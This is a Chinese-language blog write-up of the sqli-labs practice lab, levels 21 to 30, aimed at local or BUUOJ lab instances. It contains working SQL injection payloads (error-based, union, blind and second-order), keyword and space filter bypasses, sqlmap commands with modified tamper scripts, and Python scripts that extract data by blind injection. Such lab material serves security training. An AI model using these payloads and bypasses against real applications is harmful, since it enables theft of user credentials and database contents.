sqli-labs靶场练习Less-21~30(持续更新)--ch4nge

sqli-labs靶场练习Less21-30

作者:ch4nge
环境:本地搭建/BUUOJ


测试闭合符号方法


前言

前面几篇文章是分开写的关卡,这里一起合并了。希望看到文章的小伙伴一起交流学习,有错误的地方欢迎指正,先在这里谢过~

sqli-labs(21)-Less 21·cookie·E·base64encode

Base64encode之后注入
注入操作同20
登录框没有注入点

setcookie('uname', base64_encode($row1['username']), time()+3600);
手注

cookie经过了base64加密
21.1

这里后台在处理uname的时候又对其进行了解码,直接导致了注入,当然因为是base64_decode,所以我们需要先对攻击语句进行base64编码过后,再进行输入,这些操作都可以通过burpsuite抓包,然后修改cookie的uname值完成。
Payload如下

') AND (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or ('
') AND (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

21.2

sqlmap
sqlmap -r less21.txt --cookie  --dbms mysql -technique E --current-db --tamper=base64encode.py

–tamper指定脚本
21.3

sqlmap -r less21.txt --cookie  --dbms mysql -technique E --tamper=base64encode.py -D security --tables

21.4


sqli-labs(22)-Less 22·cookie·E·base64encode

代码:

$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

比21关差别是一个

手注
" AND (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

22.1
或者后面闭合

" AND (updatexml(1,concat(0x7e,(select database()),0x7e),1)) AND "1"="1

22.2

sqlmap
Cookie=*
sqlmap -r less22.txt --cookie  --dbms mysql -technique E --current-db --tamper=base64encode.py

22.3

sqli-labs(23)-Less 23·U

这一关加了过滤,# --不能用,但是可以用 ' 闭合

preg_replace()函数

23.0
过滤语句很好理解,在get方式获取到的id值中含有# --替换为空

$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
思路1

不可以直接用order by判断列数的原因和mysql执行解析的顺序(优先级)有关

分析 SQL 语句找到绕过注入的方式,后台的查询语句是这样的:

SELECT * FROM xxx WHERE id='$id' LIMIT 0,1

注入点在id处,我们要判断字段数用的是order by子句,同时闭合第二个单引号:

SELECT * FROM xxx WHERE id='1' order by 4 and '1'='1' LIMIT 0,1

本意是能从报错信息判断查询返回表共有几个字段,但是回显很正常:,order by 数字任意都不会报错
引用https://www.jianshu.com/p/2602430f8ee4
在 MySQL 中分别查询两个顺序不同的语句,结果如下:

23.1
where与order by是子句,and是操作符,用于where子句。
在MySQL的执行顺序中,where在order by前面。
在第一个查询语句中,id=‘1’ and ‘1’='1’作为where的条件,先被执行,得到结果集;然后是order by,因结果集中无第四个字段所以报错。
在第二个查询语句中,order by在where的条件中,在where执行时被忽略了,结果集生成后并未再执行order by。
所以这关不能用order by来判断字段数,而要用union:

SELECT * FROM table_name WHERE id='1' union select 1,2,3,4 or '1'='1' LIMIT 0,1

这里的or作为了联合查询第二个语句的条件而不是第一个语句where的条件。?id=1' union select 1,2,3,4 or '1'='1

23.2

http://192.168.1.218/sqli-labs-master/Less-23/?id=1' union select 1,2,3 or '1'='1

?id=1’ union select 1,2,3 or ‘1’=‘1 正确
?id=1’ union select 1,2,3,4 or ‘1’='1 错误

所以有3列

23.3
这里令id为不存在的值-1,使原本查询内容为空,返回union查询结果。
23.4
爆数据库名字
23.5
爆表名:注意注入点要写

(select group_concat(table_name) from information_schema.tables where table_schema=database())

Payload:

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 or '1'='1

23.6
爆字段名,注意表名要加引号

(select group_concat(column_name) from information_schema.columns where able_name=‘users‘)

23.7
爆值:

(select group_concat(username,0x3a,password) from users)

23.8
注:其实不一定要用or ‘1’='1来闭合,也可以直接用column_3闭合:

?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),'3
思路2

注入语句:

' union select null,version(),'

最后那个引号就可以成功闭合后面的语句,我们来通过源码看一下,更加直观:
23.9
原来的sql语句,被注入后变成了:

select * from users where id='' union select null,version(),'' limit 0,1

sqli-labs(24)-Less 24·二次注入

解释:第一次的SQL语句在第二次的操作执行(大概是这样[手动狗头])

?id=1';select database();show tables#

查看初始的admin用户密码为1234
24.1
目的:通过注册新的账号admin’#、admin’ or 1=1#、admin’ or 1=1–+、admin’ or ‘1’=’1
密码为1

操作步骤:
1、注册账号密码admin’# 123456

查看数据库添加结果
24.2
登录这个账号

2、修改密码为011

24.3
再次查看数据库users表内容
24.4
发现admin用户密码变成了011,而admin’#密码不变

分析:
1、查看网站登录页面源码:

Login.php
24.5
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。可以看出,login页面没有注入点

2、查看注册页面

New_user.php发现将post数据传到了login_create.php页面
24.6

3、查看login_create.php页面

24.7

此处也没有注入

4、再查看修改密码页面

pass_change.php
24.8
用户名username存在注入!

Sql语句解析

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

由于在这里已经登陆了用户1,所以要使用户1的名字是sql注入语句,需要注册一个含有注入符号的用户:admin’#
所以update修改数据库的语句就会变成

$sql = "UPDATE users SET PASSWORD='$pass' where username=' admin’#' and password='$curr_pass' ";

#后面会被注释掉,且语句为真,不再对curr_pass(就是用户1admin’#的密码123456)进行判断,所以成功修改了admin的密码


sqli-labs(25)-Less 25·E·()

打开关卡提示All your ‘OR’ and ‘AND’ belong to us
试了一下,果然or和and都不能用了
25.1
OorR重复关键字可以绕过,
25.2

过滤语句应该是这样的

$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);

输入oorr的时候,中间的or被替换为空字符,剩余的拼在一起组成了新的or可以使用
i表示大小写也要过滤

根据错误信息修改注释符为闭合语句?id=1' OorR '1'='1

发现成功了,–+也可以注释
25.3

爆数据库名?id=-1' union select 1,2,database()--+
25.4
查表名

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

25.5
查字段名

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

25.6

查值

?id=-1' union select 1,2,group_concat(username,0x3a,passwoorrd) from users--+

25.7

最后注passwor 和information中or会被过滤,要写成passwoorrd,infoorrmation

显错行注入也可以,注意or可以||代替
?id=1’ || ‘1’='1

sqli-labs(25a)-Less 25a·E·()

这一关和上一关一样,闭合符号没有了
sql查询语句

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

?id=1 oorr 1=1

25a.1

sqli-labs(26)-Less26·E·B

先看过滤了哪些符号和关键字

orand--#/**/空格/\

常用绕过空格方法:
注释/**/、反引号、双空格、tab、%09、%0a、%0b、%0c、%0d、%a0
使用师傅的脚本测试一下

import requests

def changeToHex(num):
    tmp = hex(i).replace("0x", "")
    if len(tmp)<2:
        tmp = '0' + tmp
    return "%" + tmp

req = requests.session()
for i in xrange(0,256):
    i = changeToHex(i) 
    url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
    ret = req.get(url)
    if 'Dumb' in ret.content:
        print "good,this can use:" + i

结果如下:
26.2
参考URL编码表
看了一些师傅的做法,自己也尝试了一下,%a0解释结果不是空格,上面脚本跑出来的都解释不出来空格。。。

26.0
可能是系统版本和搭建套件、版本等问题吧,看到有一个师傅博客也说了这个问题。但是还好括号可以绕过!!!(这道题我用的是windows+phpstudy搭建的靶场)

1. 显错注入(括号绕过空格)

括号绕过如:

26.2

这里可以使用()绕过(%a0直接报错)

?id=1' anandd '1'='1可以正常执行
26.1

查表名,这里使用显错注入

?id=1'anandd(updatexml(1,concat(0x7e,(select(database())),0x7e),1))anandd'1'='1

26.3
这个真麻烦。。。

表名
写的时候要注意语句之间的关系,比如
select xx from xxx where xxxxx
绕过空格的时候写法就是
select(xx)from(xxx)where(xxxxx)
理解为select选择的xxx来自xxx,但是要满足xxxxx的条件才行
所以把xx都给()起来

也可以简单理解为from 和where旁边没有朝向自己的括号
所以查表的payload

?id=1'anandd(updatexml(1,concat(0x7e,(),0x7e),1))anandd'1'='1
里边select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1))anandd'1'='1

26.4

注意information里面有or要写成infoorrmation

查字段
select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘users’)

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),0x7e),1))anandd'1'='1

26.5
查密码

select(group_concat(username,0x3a,passwoorrd))from(users)where(id=6)

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)where(id=6)),0x7e),1)) anandd '1'='1

26.6

2. Boolean盲注

使用脚本进行测试
参考
脚本跑的时候有些字符偶尔会出错,二分法改为遍历也没有解决问题

	#!/usr/bin/python
	# -*- coding:UTF-8 -*-
	import sys
	import requests
	def getPayload(char_index, ascii):
	    # 系统表中数据
	    info_database_name = "infoorrmation_schema"
	    info_table_name = "schemata" # schemata / tables / columns
	    info_column_name = "schema_name" # schema_name / table_name / column_name
	    # 注入表中数据
	    database_name = "security"
	    table_name = "users"
	    column_name = ["id","username","passwoorrd"]
	    # 附加url
	    start_str = "1'%26%26"
	    end_str = "||'1'='"
	    # 连接select
	    where_str = ""
	    #where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
	    select_str = "select(group_concat("+info_column_name+"))from("+info_database_name+"."+info_table_name+")"+where_str
	    #select_str = "select(group_concat(concat_ws('$',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"
	    # 连接payload
	    sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
	    payload = start_str + sqli_str + end_str
	    return payload
	def execute(char_index, ascii):
	    # 连接url
	    url = "http://127.0.0.1/sqlilabs/Less-26/?id="
	    exec_url = url + getPayload(char_index, ascii)
	    #print(exec_url)
	    # 检查回显
	    echo = "Your Login name"
	    content = requests.get(exec_url).text
	    if echo in content:
	        return True
	    else:
	        return False
	def dichotomy(char_index, left, right):
	    while left < right:
	        # 二分法
	        ascii = int((left+right)/2)
	        if execute(str(char_index+1), str(ascii)):
	            left = ascii
	        else:
	            right = ascii
	        # 结束二分
	        if left == right-1:
	            if execute(str(char_index+1), str(ascii)):
	                ascii += 1
	                break
	            else:
	                break
	    return chr(ascii)
	
	if __name__ == "__main__":
	    for len in range(1024): # 查询结果的长度
	        char = dichotomy(len, 30, 126) 
	        if ord(char) == 31: # 单条查询结果已被遍历
	            break
	        sys.stdout.write(char)
	        sys.stdout.flush()
	    sys.stdout.write("\r\n")
	    sys.stdout.flush()
函数说明
mid()函数

26.001

ascii()函数/ord()函数

将单个字符串转化为ascii值

sqli-labs(26a)-Less 26a·B

盲注,和Less26操作类似,过滤内容一样

使用盲注,括号绕过空格的过滤

?id=1' aandnd(length(database())>=8)anandd'1'='1

8的时候正常,9的时候报错,说明数据库名字长度为8
20201123_26a.0
开始猜数据库名字,从第一个字母开始猜
数据库名字的范围一般在a~z0~9之间
这里再说一下函数的语法
函数描述

这里和Less8的时候一样,使用的burpsuite爆破尝试
生成一个字典
20201123_26a.1
payload?id=1' aandnd(substr(database(),1,1)='0')anandd'1'='1

爆破结果以字符串长度排序
20201123_26a.2
数据库,名字的首字母为s
第二个字符payload?id=1' aandnd(substr(database(),2,1)='0')anandd'1'='1
依次测试…
得到数据库名字security

脚本参考Less26

sqli-labs(27)-Less 27

测试了一下,发现union和select被过滤了,可以使用重复进行绕过,空格也被过滤了,
看一下过滤条件

	function blacklist($id)
	{
		$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
		$id= preg_replace('/[--]/',"", $id);		//Strip out --.
		$id= preg_replace('/[#]/',"", $id);			//Strip out #.
		$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
		$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
		$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
		$id= preg_replace('/union/s',"", $id);	    //Strip out union
		$id= preg_replace('/select/s',"", $id);	    //Strip out select
		$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
		$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
		$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
		$id= preg_replace('/Select/s',"", $id);	    //Strip out select
		return $id;
	}

过滤真多
好吧,没事,其实和Less26是一样的,继续使用括号,然后需要注意的是这里的and和or没有过滤,所以不用再进行重复写绕过
数据库名字

?id=1'and(updatexml(1,concat(0x7e,(select(database())),0x7e),1))and'1'='1

27.0
后面和Less26流程就一样啦,不再重复操作

sqli-labs(27a)-Less 27a

Less27基础上变成了盲注
刚开始没注出来效果,报错信息也没有sql语句,测试了几次发现闭合符号不一样了。做题要细心,又回到起点了,还是先看看闭合符号再考虑其他

测试闭合符号:

?id=1 and 1=2 页面正常
?id=1’ and ‘1’='2 页面正常
?id=1" and “1”="2 页面报错,说明语句执行了,是双引号闭合

后面的话和Less26a一样的,不说了

sqli-labs(28)-Less 28

说明:

Less 28Less28a这两关做的时候尝试了修改Tamper脚本进行sqlmap注入,导致sqlmap警告无法检索行数,查询的数据都是只有一行,通过使用–hex和–no-cast无法解决,后续也没有找到解决方法,如果有知道的师傅请告知一下,谢谢~


基于’)过滤union和select等的注入
判断闭合符号

?id=1 and 1=1 正常
?id=1 and 1=2 正常,说明语句没有执行
?id=1’ and ‘1’=‘2 错误,说明语句已经执行
?id=1’)and(‘1’=‘1 正确
?id=1’)and(‘1’='2 错误

空格被过滤,可以使用%09 %0A %0D进行绕过

union注入

union select绕过可以使用
union%0Dall%0Dselect
28.0

或者union%0Dunion%0Dselectselect
28.1

结尾可以使用闭合方式
?id=0') union%0Dunion%0Dselectselect%0D1,2,('3
或者and闭合
?id=0') union%0Dunion%0Dselectselect%0D1,2,3%0Dand('1
%00截断
使用%00截断?id=0') union%0Dunion%0Dselectselect%091,2,3;%00

后面就很简单啦~~

ERROR注入
未完成:sqlmap–Boolean注入

payload?id=1')and%0Dlength(database())>=8%0D;%00
8正确,9错误

细细想了一下,这一关可以使用sqlmap

空格可以用%09 %0A %0D
那么替换空格可以用sqlmap自带的tamper space2mssqlblank.py
但是要略作修改,因为这个tamper的功能是在('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')里面随机进行空格的替换

所以我们只要里面的三个,修改为如下
28.2
还有就是使用Boolean盲注的时候需要注意payload末尾要闭合,这里使用%00截断,要注意的是,不能直接使用sqlmap的添加空字节脚本,略作修改,在payload末尾加上;%00

tamper文件appendnullbyte.py
28.3
这样就把需要的准备工作做好了

sqlmap -u "http://d723d51e-9db7-4d49-b8aa-fafe676b18d9.node3.buuoj.cn/Less-28/?id=1')" --tamper "space2mssqlblank.py,appendnullbyte.py" --dbms mysql --technique=B --current-db --level 3

28.4

经过思考,修改一下tamper,联合注入也是可以用sqlmap

未完成:sqlmap union联合注入

空格替换和%00截断还用上次修改的脚本
这里要绕过对unionselect的过滤
修改了unionalltounion.py,这个脚本本意是把UNION ALL SELECT替换为UNION SELECT,我们把它修改为:把UNION SELECT 替换为UNION ALL SELECT
保存一下,测试
可以通过

sqlmap -u "http://c378f8aa-eb1c-4523-865b-cff1102442f4.node3.buuoj.cn/Less-28/?id=1')" --tamper "unionalltounion.py,space2mssqlblank.py,appendnullbyte.py" --dbms mysql --technique=U --current-db

28.5
再试试注表.。。出问题了,只显示一行数据,注字段、值都是这样
28.6
待续标记~

sqli-labs(28a)-Less 28a

判断闭合符号:

?id=1 and 1=1 正常
?id=1 and 1=2 正常,说明语句没有执行
?id=1’ and ‘1’=‘1 正确
?id=1’)and(‘1’=‘2 错误,说明语句已经执行,继续测试,看是否有括号
?id=1’)and(‘1’=‘1 正确
?id=1’)and(‘1’=‘2 错误,说明语句已经执行,继续测试
?id=1’))and((‘1’=‘1 错误
?id=1’))and((‘1’='2 错误

说明闭合符号为')

union注入

?id=-1') union%0Dunion%0Dselectselect 1,2,3;%00
28a.0

后面和前面一样了
查用户名密码

?id=-1') union%0Dunion%0Dselectselect 1,2,group_concat(username,0x3a,password) from users;%00

28a.1

Boolean注入

?id=1') and length(database())>=8;%00正确
?id=1') and length(database())>=9;%00错误
数据库长度为8


sqli-labs(29)-Less 29

闭合符号:'
注释:--+-- -

union注入

?id=-1’ union select 1,2,database();%00
29.0
用户名密码payload

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;%00

29.1

ERROR

数据库名Payload

?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1);%00

29.2
id=6时,用户名密码payload(由于一次显示的内容长度有限,所以使用where id条件)

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where id=6),0x7e),1);%00

sqli-labs(30)-Less 30

闭合:"
注释:--+-- -

union注入

操作同Less 29

?id=-1" union select 1,2,3;%00

30.0
用户名密码

?id=-1" union select 1,2,group_concat(username,0x3a,password) from users;%00

Boolean注入

?id=1" and length(database())>=9;%00 错误
?id=1" and length(database())>=8;%00 正确
说明数据库名字长度为8

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值